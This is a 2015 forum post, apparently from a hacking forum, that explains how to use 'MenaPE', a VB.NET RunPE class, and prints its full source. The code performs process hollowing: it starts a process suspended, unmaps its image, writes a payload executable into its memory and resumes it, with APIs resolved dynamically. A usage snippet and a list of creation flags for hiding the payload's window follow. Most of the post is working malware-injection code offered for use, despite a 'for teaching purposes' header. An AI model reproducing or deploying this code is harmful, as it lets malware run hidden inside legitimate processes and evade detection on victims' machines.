MenaPE Usage! .Net RunPE x86<>x64! 11-25-2015, 04:29 AM
#1
Yo.
So in this thread I will detail how to go about using Menalix's RunPE, called MenaPE. Here's a snippet of his description:
What I love about .NET is how we can manipulate with it in all kind of ways, due to the code is being JIT Compiled.
And this is kinda what this RunPE shows, normal RunPE’s can only do x86 -> x86 injections.
This RunPE can do ANY injection, yea even x86 -> x64 or x64 -> x86
Why? Well .NET is JIT Compiled, which means it isn’t really compiled yet when creating a .NET executeable,
a .NET executeable is like a wrapped executeable file with the instructions to how its gonna be JIT Compiled on run, so before its run we can manipulate just like we want with it.
Which means we can do RunPE Injections like x64 -> x86.
[hide][/hide]
So in this thread I will detail how to go about using Menalix's RunPE, called MenaPE. Here's a snippet of his description:
What I love about .NET is how we can manipulate with it in all kind of ways, due to the code is being JIT Compiled.
And this is kinda what this RunPE shows, normal RunPE’s can only do x86 -> x86 injections.
This RunPE can do ANY injection, yea even x86 -> x64 or x64 -> x86
Why? Well .NET is JIT Compiled, which means it isn’t really compiled yet when creating a .NET executeable,
a .NET executeable is like a wrapped executeable file with the instructions to how its gonna be JIT Compiled on run, so before its run we can manipulate just like we want with it.
Which means we can do RunPE Injections like x64 -> x86.
[hide]
Spoiler:
So, How do we go about using this code?
&H10 is a creation flag to show the payload's window, you can enable/disable as you please, here's some other creation flags that might come in handy:
CREATE_BREAKAWAY_FROM_JOB = &H1000000
CREATE_DEFAULT_ERROR_MODE = &H4000000
CREATE_NEW_CONSOLE = &H10
CREATE_NEW_PROCESS_GROUP = &H200
CREATE_NO_WINDOW = &H8000000
CREATE_PROTECTED_PROCESS = &H40000
CREATE_PRESERVE_CODE_AUTHZ_LEVEL = &H2000000
CREATE_SEPARATE_WOW_VDM = &H800
CREATE_SHARED_WOW_VDM = &H1000
CREATE_SUSPENDED = &H4
CREATE_UNICODE_ENVIRONMENT = &H400
DEBUG_ONLY_THIS_PROCESS = &H2
DEBUG_PROCESS = &H1
DETACHED_PROCESS = &H8
EXTENDED_STARTUPINFO_PRESENT = &H80000
INHERIT_PARENT_AFFINITY = &H10000
Code:
Class MenaPE
'------------------------------
'Title: MenaPE (RunPE Class)
'Author: Menalix
'Website: Menalix.com
'Notice: For teaching purposes
'------------------------------
#Region "Static API Calls"
Declare Function LoadLibraryA Lib "kernel32" (ByVal Name As String) As IntPtr
Declare Function GetProcAddress Lib "kernel32" (ByVal hProcess As IntPtr, ByVal Name As String) As IntPtr
#End Region
#Region "Dynamic API Caller"
Private Function CreateApi(Of T)(ByVal Name As String, ByVal Method As String) As T
Return DirectCast(DirectCast(Runtime.InteropServices.Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(Name), Method), GetType(T)), Object), T)
End Function
#End Region
#Region "Dynamic API's"
Private Delegate Function ReadProcessMemoryParameters(ByVal hProcess As UInteger, ByVal lpBaseAddress As IntPtr, ByRef lpBuffer As Integer, ByVal nSize As IntPtr, ByRef lpNumberOfBytesWritten As IntPtr) As Boolean
ReadOnly ReadProcessMemory As ReadProcessMemoryParameters = CreateApi(Of ReadProcessMemoryParameters)("kernel32", "ReadProcessMemory")
Private Delegate Function CreateProcessParameters( _
ByVal ApplicationName As String, _
ByVal CommandLine As String, _
ByVal ProcessAttributes As IntPtr, _
ByVal ThreadAttributes As IntPtr, _
ByVal InheritHandles As Boolean, _
ByVal CreationFlags As UInteger, _
ByVal Environment As IntPtr, _
ByVal CurrentDirectory As String, _
ByRef StartupInfo As STARTUPINFO, _
ByRef ProcessInformation As PROCESS_INFORMATION) As Boolean
Dim CreateProcess As CreateProcessParameters = CreateApi(Of CreateProcessParameters)("kernel32", "CreateProcessA")
Private Delegate Function NtQueryInformationProcessParameters(ByVal hProcess As IntPtr, _
ByVal ProcessInformationClass As Integer, _
ByRef ProcessInformation As PROCESS_BASIC_INFORMATION, _
ByVal ProcessInformationLength As UInteger, _
ByRef ReturnLength As UIntPtr) As UInteger
ReadOnly NtQueryInformationProcess As NtQueryInformationProcessParameters = CreateApi(Of NtQueryInformationProcessParameters)("ntdll", "NtQueryInformationProcess")
Private Delegate Function GetThreadContext64Parameters( _
ByVal hThread As IntPtr, _
ByRef lpContext As CONTEXT32) As Boolean
Dim GetThreadContext64 As GetThreadContext64Parameters = Nothing
Private Delegate Function IsWow64ProcessParameters( _
ByVal hProcess As IntPtr, _
ByRef Wow64Process As Boolean) As Boolean
ReadOnly IsWow64Process As IsWow64ProcessParameters = CreateApi(Of IsWow64ProcessParameters)("kernel32", "IsWow64Process")
Private Delegate Function WriteProcessMemoryParameters( _
ByVal hProcess As IntPtr, _
ByVal lpBaseAddress As IntPtr, _
ByVal lpBuffer As Byte(), _
ByVal nSize As UInteger, _
ByRef lpNumberOfBytesWritten As UInteger) As Boolean
ReadOnly WriteProcessMemory As WriteProcessMemoryParameters = CreateApi(Of WriteProcessMemoryParameters)("kernel32", "WriteProcessMemory")
Private Delegate Function NtUnmapViewOfSectionParameters( _
ByVal hProcess As IntPtr, _
ByVal pBaseAddress As IntPtr) As UInteger
ReadOnly NtUnmapViewOfSection As NtUnmapViewOfSectionParameters = CreateApi(Of NtUnmapViewOfSectionParameters)("ntdll", "NtUnmapViewOfSection")
Private Delegate Function VirtualAllocExParameters( _
ByVal hProcess As IntPtr, _
ByVal lpAddress As IntPtr, _
ByVal dwSize As UInteger, _
ByVal flAllocationType As UInteger, _
ByVal flProtect As UInteger) As IntPtr
ReadOnly VirtualAllocEx As VirtualAllocExParameters = CreateApi(Of VirtualAllocExParameters)("kernel32", "VirtualAllocEx")
Private Delegate Function ResumeThreadParameters( _
ByVal hThread As IntPtr) As UInteger
ReadOnly ResumeThread As ResumeThreadParameters = CreateApi(Of ResumeThreadParameters)("kernel32", "ResumeThread")
#End Region
#Region "API Structures"
Private Structure PROCESS_INFORMATION
Public hProcess As IntPtr
Public hThread As IntPtr
Public dwProcessId As UInteger
Public dwThreadId As UInteger
End Structure
Private Structure STARTUPINFO
Public cb As UInteger
Public lpReserved As String
Public lpDesktop As String
Public lpTitle As String
<Runtime.InteropServices.MarshalAs(Runtime.InteropServices.UnmanagedType.ByValArray, SizeConst:=36)> _
Public Misc As Byte()
Public lpReserved2 As Byte
Public hStdInput As IntPtr
Public hStdOutput As IntPtr
Public hStdError As IntPtr
End Structure
Structure FLOATING_SAVE_AREA
Dim Control, Status, Tag, ErrorO, ErrorS, DataO, DataS As UInteger
<System.Runtime.InteropServices.MarshalAs(System.Runtime.InteropServices.UnmanagedType.ByValArray, SizeConst:=80)> Dim RegisterArea As Byte()
Dim State As UInteger
End Structure
Structure CONTEXT32
Dim ContextFlags, Dr0, Dr1, Dr2, Dr3, Dr6, Dr7 As UInteger
Dim FloatSave As FLOATING_SAVE_AREA
Dim SegGs, SegFs, SegEs, SegDs, Edi, Esi, Ebx, Edx, Ecx, Eax, Ebp, Eip, SegCs, EFlags, Esp, SegSs As UInteger
<System.Runtime.InteropServices.MarshalAs(System.Runtime.InteropServices.UnmanagedType.ByValArray, SizeConst:=512)> Dim ExtendedRegisters As Byte()
End Structure
Structure PROCESS_BASIC_INFORMATION
Public ExitStatus As IntPtr
Public PebBaseAddress As IntPtr
Public AffinityMask As IntPtr
Public BasePriority As IntPtr
Public UniqueProcessID As IntPtr
Public InheritedFromUniqueProcessId As IntPtr
End Structure
#End Region
#Region "Injection"
Public Function Run(ByVal path As String, ByVal payload As Byte(), ByVal creationflag As Integer) As Boolean
For I As Integer = 1 To 5
If HandleRun(path, payload, creationflag) Then Return True
Next
Return False
End Function
Private Function HandleRun(ByVal Path As String, ByVal payload As Byte(), ByVal creationflag As Integer) As Boolean
Dim ReadWrite As Integer = Nothing
Dim QuotedPath As String = String.Format("""{0}""", Path)
Dim SI As New STARTUPINFO
Dim PI As New PROCESS_INFORMATION
SI.cb = CUInt(Runtime.InteropServices.Marshal.SizeOf(GetType(STARTUPINFO))) 'Parses the size of the structure to the structure, so it retrieves the right size of data
Try
'COMMENT: Creating a target process in suspended state, which makes it patch ready and we also retrieves its process information and startup information.
If Not CreateProcess(Path, QuotedPath, IntPtr.Zero, IntPtr.Zero, True, creationflag, IntPtr.Zero, IO.Directory.GetCurrentDirectory, SI, PI) Then Throw New Exception()
'COMMENT: Defines some variables we need in the next process
Dim ProccessInfo As New PROCESS_BASIC_INFORMATION
Dim RetLength As UInteger
Dim Context = Nothing
Dim PEBAddress32 As Integer = Nothing
Dim PEBAddress64 As Int64 = Nothing
Dim TargetIs64 As Boolean = Nothing
Dim IsWow64Proc As Boolean = False
IsWow64Process(PI.hProcess, IsWow64Proc) 'COMMENT: Retrieves Boolean to know if target process is a 32bit process running in 32bit system, or a 32bit process running under WOW64 in a 64bit system.
If IsWow64Proc Or IntPtr.Size = 4 Then 'COMMENT: Checks the Boolean retrieved from before OR checks if our calling process is 32bit
Context = New CONTEXT32
Context.ContextFlags = &H1000002L 'COMMENT: Parses the context flag CONTEXT_AMD64(&H00100000L) + CONTEXT_INTEGER(0x00000002L) to tell that we want a structure of a 32bit process running under WOW64, you can see all context flags in winnt.h header file.
If IsWow64Proc AndAlso IntPtr.Size = 8 Then 'COMMENT: Checks if our own process is 64bit and the target process is 32bit in wow64
GetThreadContext64 = CreateApi(Of GetThreadContext64Parameters)("kernel32", "Wow64GetThreadContext") 'COMMENT: Retrieves a structure of information to retrieve the PEBAddress to later on know where we gonna use WriteProcessMemory to write our payload
If Not GetThreadContext64(PI.hThread, Context) Then Throw New Exception
Console.WriteLine(Context.Ebx)
PEBAddress32 = Context.Ebx
TargetIs64 = False
Else 'COMMENT: If our process is 32bit and the target process is 32bit we get here.
NtQueryInformationProcess(PI.hProcess, 0, ProccessInfo, Runtime.InteropServices.Marshal.SizeOf(ProccessInfo), RetLength) 'COMMENT: Retrieves a structure of information to retrieve the PEBAddress to later on know where we gonna use WriteProcessMemory to write our payload
PEBAddress32 = ProccessInfo.PebBaseAddress
TargetIs64 = False
End If
Else 'COMMENT: If our process is 64bit and the target process is 64bit we get here.
NtQueryInformationProcess(PI.hProcess, 0, ProccessInfo, Runtime.InteropServices.Marshal.SizeOf(ProccessInfo), RetLength) 'COMMENT: Retrieves a structure of information to retrieve the PEBAddress to later on know where we gonna use WriteProcessMemory to write our payload
PEBAddress64 = ProccessInfo.PebBaseAddress
TargetIs64 = True
End If
Dim BaseAddress As IntPtr
If TargetIs64 = True Then
ReadProcessMemory(PI.hProcess, PEBAddress64 + &H10, BaseAddress, 4, ReadWrite) 'COMMENT: Reads the BaseAddress of a 64bit Process, which is where the exe data starts
Else
ReadProcessMemory(PI.hProcess, PEBAddress32 + &H8, BaseAddress, 4, ReadWrite) 'COMMENT: Reads the BaseAddress of a 32bit Process, which is where the exe data starts
End If
Dim PayloadIs64 As Boolean = False
Dim dwPEHeaderAddress As Integer = BitConverter.ToInt32(payload, &H3C) 'COMMENT: Gets the PEHeader start address
Dim dwNetDirFlags As Integer = BitConverter.ToInt32(payload, dwPEHeaderAddress + &H398) 'COMMENT: Gets the .NET Header Flags value to determine if its a AnyCPU Compiled exe or not
Dim wMachine As Integer = BitConverter.ToInt16(payload, dwPEHeaderAddress + &H4) 'COMMENT: Gets the reads the Machine value
If wMachine = 8664 Then : PayloadIs64 = True 'Checks the Machine value to know if payload is 64bit or not"
Else : PayloadIs64 = False : End If
If PayloadIs64 = False Then
If dwNetDirFlags = &H3 Then 'To make sure we don't rewrite flags on a Payload which is already AnyCPU Compiled, it will only slow us down
Buffer.SetByte(payload, dwPEHeaderAddress + &H398, &H1) 'Replaces the .NET Header Flag on a 32bit compiled payload, to make it possible doing 32bit -> 64bit injection
End If
End If
Dim dwImageBase As Integer
If PayloadIs64 = True Then
dwImageBase = BitConverter.ToInt32(payload, dwPEHeaderAddress + &H30) 'Reads the ImageBase value of a 64bit payload, it's kind of unnessecary as ImageBase should always be: &H400000, this is the virtual addressstart location for our exe in its own memory space
Else
dwImageBase = BitConverter.ToInt32(payload, dwPEHeaderAddress + &H34) 'Reads the ImageBase value of a 32bit payload, it's kind of unnessecary as ImageBase should always be: &H400000, this is the virtual address start location for our exe in its own memory space
End If
If dwImageBase = BaseAddress Then 'COMMENT: If the BaseAddress of our Exe is matching the ImageBase, it's because it's mapped and we have to unmap it
If Not NtUnmapViewOfSection(PI.hProcess, BaseAddress) = 0 Then Throw New Exception() 'COMMENT: Unmapping it
End If
Dim dwSizeOfImage As Integer = BitConverter.ToInt32(payload, dwPEHeaderAddress + &H50)
Dim dwNewImageBase As Integer = VirtualAllocEx(PI.hProcess, dwImageBase, dwSizeOfImage, &H3000, &H40) 'COMMENT: Makes the process ready to write in by specifying how much space we need to do it and where we need it
If dwNewImageBase = 0 Then Throw New Exception()
Dim dwSizeOfHeaders As Integer = BitConverter.ToInt32(payload, dwPEHeaderAddress + &H54)
If Not WriteProcessMemory(PI.hProcess, dwNewImageBase, payload, dwSizeOfHeaders, ReadWrite) Then Throw New Exception() 'Writes the size of the payloads PE header to the target
'COMMENT: This is here where most of the magic happens. We write in all our sections data, which contains our resssources, code and the information to utilize the sections: VirtualAddress, SizeOfRawData and PointerToRawData
Dim SizeOfOptionalHeader As Short = BitConverter.ToInt16(payload, dwPEHeaderAddress + &H14)
Dim SectionOffset As Integer = dwPEHeaderAddress + (&H16 + SizeOfOptionalHeader + &H2)
Dim NumberOfSections As Short = BitConverter.ToInt16(payload, dwPEHeaderAddress + &H6)
For I As Integer = 0 To NumberOfSections - 1
Dim VirtualAddress As Integer = BitConverter.ToInt32(payload, SectionOffset + &HC)
Dim SizeOfRawData As Integer = BitConverter.ToInt32(payload, SectionOffset + &H10)
Dim PointerToRawData As Integer = BitConverter.ToInt32(payload, SectionOffset + &H14)
If Not SizeOfRawData = 0 Then
Dim SectionData(SizeOfRawData - 1) As Byte
Buffer.BlockCopy(payload, PointerToRawData, SectionData, 0, SectionData.Length)
If Not WriteProcessMemory(PI.hProcess, dwNewImageBase + VirtualAddress, SectionData, SectionData.Length, ReadWrite) Then Throw New Exception()
End If
SectionOffset += &H28
Next
Dim PointerData As Byte() = BitConverter.GetBytes(dwNewImageBase)
If TargetIs64 = True Then
If Not WriteProcessMemory(PI.hProcess, PEBAddress64 + &H10, PointerData, 4, ReadWrite) Then Throw New Exception() 'Writes the new etrypoint for 64bit target
Else
If Not WriteProcessMemory(PI.hProcess, PEBAddress32 + &H8, PointerData, 4, ReadWrite) Then Throw New Exception() 'Writes the new entrypoint for 32bit target
End If
If ResumeThread(PI.hThread) = -1 Then Throw New Exception() 'Resumes the suspended target with all its new exciting data
Catch ex As Exception
Dim P As Process = Process.GetProcessById(CInt(PI.dwProcessId))
If P IsNot Nothing Then P.Kill()
Return False
End Try
Return True
End Function
#End Region
End ClassCode:
Dim MenaPEObject as New MenaPE
MenaPEObject.Run(Process.GetcurrentProcess.MainModule.FileName, IO.File.ReadAllBytes("Path you your payload"), &H10)&H10 is a creation flag to show the payload's window, you can enable/disable as you please, here's some other creation flags that might come in handy:
CREATE_BREAKAWAY_FROM_JOB = &H1000000
CREATE_DEFAULT_ERROR_MODE = &H4000000
CREATE_NEW_CONSOLE = &H10
CREATE_NEW_PROCESS_GROUP = &H200
CREATE_NO_WINDOW = &H8000000
CREATE_PROTECTED_PROCESS = &H40000
CREATE_PRESERVE_CODE_AUTHZ_LEVEL = &H2000000
CREATE_SEPARATE_WOW_VDM = &H800
CREATE_SHARED_WOW_VDM = &H1000
CREATE_SUSPENDED = &H4
CREATE_UNICODE_ENVIRONMENT = &H400
DEBUG_ONLY_THIS_PROCESS = &H2
DEBUG_PROCESS = &H1
DETACHED_PROCESS = &H8
EXTENDED_STARTUPINFO_PRESENT = &H80000
INHERIT_PARENT_AFFINITY = &H10000
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